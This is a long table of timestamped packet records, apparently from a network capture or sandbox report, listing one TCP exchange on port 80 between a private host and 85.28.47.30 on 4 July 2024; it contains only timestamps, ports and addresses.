Jul 4, 2024 20:34:05.851408005 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851408958 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.851417065 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851423025 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851427078 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.851438999 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851449966 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851459980 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851470947 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851475954 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851483107 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.851485968 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851492882 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.851516008 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.851519108 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851533890 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851564884 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.851583958 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.851593971 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851604939 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851613998 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851624012 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851634979 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851655006 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.851665020 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.851717949 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851728916 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851738930 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851748943 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851759911 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851771116 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.851784945 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.851804972 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.851830006 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851840973 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851850033 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851860046 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851870060 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851881027 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.851912022 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.851955891 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851967096 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851977110 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851988077 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851998091 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.852001905 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.852009058 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.852019072 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.852021933 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.852050066 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.852072954 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.852088928 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.852099895 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.852109909 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.852118969 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.852128983 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.852138996 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.852139950 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.852149963 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.852160931 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.852161884 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.852181911 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.852205992 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.852298975 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.852309942 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.852319956 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.852329016 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.852338076 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.852348089 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.852350950 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.852360010 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.852370977 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.852374077 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.852381945 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.852386951 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.852406979 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.852416992 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.852423906 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.852427959 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.852438927 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.852447033 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.852466106 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.852494955 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.853554964 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.853612900 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.853626966 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.853637934 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.853676081 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.853704929 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.853717089 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.853727102 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.853755951 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.853760958 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.853771925 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.853774071 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.853782892 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.853806973 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.853832960 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.854017973 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.854028940 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.854038000 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.854067087 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.854094982 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.854094982 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.854105949 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.854115963 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.854126930 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.854149103 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.854168892 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.946965933 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.946985960 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.946997881 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.947007895 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.947017908 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.947022915 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.947035074 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.947046041 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.947060108 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.947061062 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.947074890 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.947078943 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.947088957 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.947093010 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.947099924 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.947109938 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.947125912 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.947156906 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.947251081 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.947262049 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.947272062 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.947282076 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.947292089 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.947295904 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.947308064 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.947325945 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.947355986 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.947398901 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.947416067 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.947424889 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.947434902 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.947439909 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.947446108 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.947455883 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.947464943 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.947467089 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.947474957 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.947504044 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.947520018 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.947536945 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.947580099 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.947727919 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.947740078 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.947751045 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.947762012 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.947766066 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.947781086 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.947813034 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.947910070 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.947920084 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.947935104 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.947943926 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.947949886 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.947954893 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.947963953 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.947964907 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.947984934 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.948010921 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.948052883 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948065042 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948072910 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948084116 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948092937 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948096037 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.948103905 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948127031 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.948153019 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.948225975 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948242903 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948251963 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948273897 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.948291063 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.948405027 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948421955 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948431015 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948441029 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948451042 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.948457003 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948467970 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948468924 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.948477030 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948492050 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948503017 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948509932 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.948509932 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.948513985 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948523998 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948529005 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.948535919 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948545933 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948554993 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948561907 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.948565960 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948575974 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948594093 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948589087 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.948606014 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.948610067 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948618889 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.948620081 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948630095 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948642015 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948652029 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948657036 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.948662043 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948672056 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948682070 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948687077 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.948692083 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948702097 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948704958 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.948712111 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948720932 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948720932 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.948731899 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948744059 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.948753119 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948757887 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.948765993 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948775053 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.948775053 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948785067 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948795080 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948805094 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948815107 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.948816061 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.948843956 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.948858023 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.949337959 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.949377060 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.949534893 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.949546099 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.949554920 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.949582100 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.949604988 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.949707031 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.949717999 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.949727058 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.949737072 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.949745893 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.949753046 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.949755907 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.949765921 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.949775934 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.949781895 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.949786901 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.949790001 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.949796915 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.949815035 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.949846029 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.950211048 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.950222015 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.950231075 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.950241089 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.950251102 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.950256109 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.950273991 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.950294971 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.950356007 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.950366020 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.950381994 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.950396061 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.950408936 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.950437069 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.950540066 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.950551033 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.950560093 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.950570107 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.950579882 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.950581074 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.950589895 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.950608015 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.950649023 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.954458952 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.954471111 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.954479933 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.954489946 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.954499960 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.954509974 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.954509974 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.954520941 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.954535007 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.954564095 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.038260937 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.038279057 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.038289070 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.038338900 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.038377047 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.038379908 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.038391113 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.038399935 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.038409948 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.038419962 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.038427114 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.038429022 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.038456917 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.038476944 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.038513899 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.038525105 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.038532019 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.038541079 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.038548946 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.038553953 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.038558960 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.038566113 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.038572073 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.038604975 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.038703918 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.038712978 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.038722038 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.038729906 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.038738966 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.038747072 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.038750887 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.038779974 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.038808107 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.038860083 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.038868904 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.038877964 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.038887024 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.038894892 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.038903952 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.038909912 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.038928986 CEST	49730	80	192.168.2.4	85.28.47.30
